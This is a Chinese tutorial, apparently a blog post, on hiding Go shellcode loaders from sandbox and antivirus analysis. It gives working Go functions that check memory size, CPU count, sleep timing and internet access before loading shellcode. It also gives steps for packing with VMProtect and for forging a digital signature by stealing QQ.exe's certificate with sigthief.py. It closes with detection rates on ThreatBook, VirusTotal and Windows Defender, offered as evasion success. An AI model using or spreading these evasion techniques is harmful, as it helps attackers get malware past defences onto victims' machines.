基于Go实现沙箱检测和条件触发(Ⅱ)

前言

因为微步和VT之类的都是虚拟环境运行,所以说可以通过一些沙箱检测的手段,来让shellcode不被加载,从而达到防检测的目的。

沙箱检测

1、检测系统物理内存大小是否大于4G

func physicalMemory() (int, error) {
   var mod = syscall.NewLazyDLL("kernel32.dll")//懒加载dll
   var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")//获取 检测系统内存大小的函数
   var mem uint64 //开个这个系统内存中的变量  然后传入函数,返回内存大小
   proc.Call(uintptr(unsafe.Pointer(&mem)))
   mem = mem / 1048576 //内存大小/1G,如果小于4,则返回0,大于4则返回1
   if mem < 4 {
      return 0, nil
   }
   return 1, nil
}

physicalMemory, _ := physicalMemory()//物理内存是否大于4g,大于4g返回1

2、延迟运行

//延迟运行
func timeSleep() (int, error) {
   startTime := time.Now()
   time.Sleep(5 * time.Second)
   endTime := time.Now()
   sleepTime := endTime.Sub(startTime)
   if sleepTime >= 5*time.Second { //判断是否延时成功,成功返回1,失败返回0
      return 1, nil
   } else {
      return 0, nil
   }
}

sleeptime, _ := timeSleep() //延迟运行是否成功

3、检测CPU核心数

func numberOfCPU() (int, error) {
   a := runtime.NumCPU()
   if a < 4 {
      return 0, nil
   } else {
      return 1, nil
   }
}
cpuNumber, _ := numberOfCPU()//cpu核心数量,大于4返回1

条件触发

因为大多数沙盒是没通外网的,所以网络连通性正常的时候,再执行shellcode,能一定程度上绕过沙箱检测

//检测网络连通性
func NetworkCheck() (int, error){
   u, _ := url.Parse("https://www.baidu.com/")  //检查网络连通性
   q := u.Query()
   u.RawQuery = q.Encode()
   res, err := http.Get(u.String())
   resCode := res.StatusCode
   res.Body.Close()
   if resCode == 200{
      return 1, err
   }
   return 0, err
}
resStatus, _ := NetworkCheck()//检测网络连通性

改exe资源属性、加壳、伪造数字签名

通过这些方法可以更为有效的加大沙箱分析检测的难度,从而使得免杀效果更好。

1、改图标

改ico图标可以通过ResourceHacker这个工具来修改,只需要把exe拖进去,然后再添加ico格式的图片再保存即可

2、加壳

这里选择加VMP壳,直接通过VMProtect Ultimate把exe打开,然后再编译就行了,就可以得到一个xxx.vmp.exe

3、伪造数字签名

这里伪造数字签名可以使用sigthief.py

py sigthief.py -i "想要窃取证书的exe路径(例如QQ.exe)" -t xxx.vmp.exe -o xxx.exe(最后输出的文件名)

然后就得到了加了数字签名的exe。

image-20220904152802883

免杀效果

微步在线沙箱 1/22

image-20220904152839845
image-20220904152935393

VT 9/70

能过国内所有杀软,以及绝大部分国外杀软。

Windwos Defender

能过静态查杀,过不了动态查杀。

image-20220904153152935
image-20220904153226271

运行猫猫.exe,就会被动态查杀了,检测出CS特征。

image-20220904153535820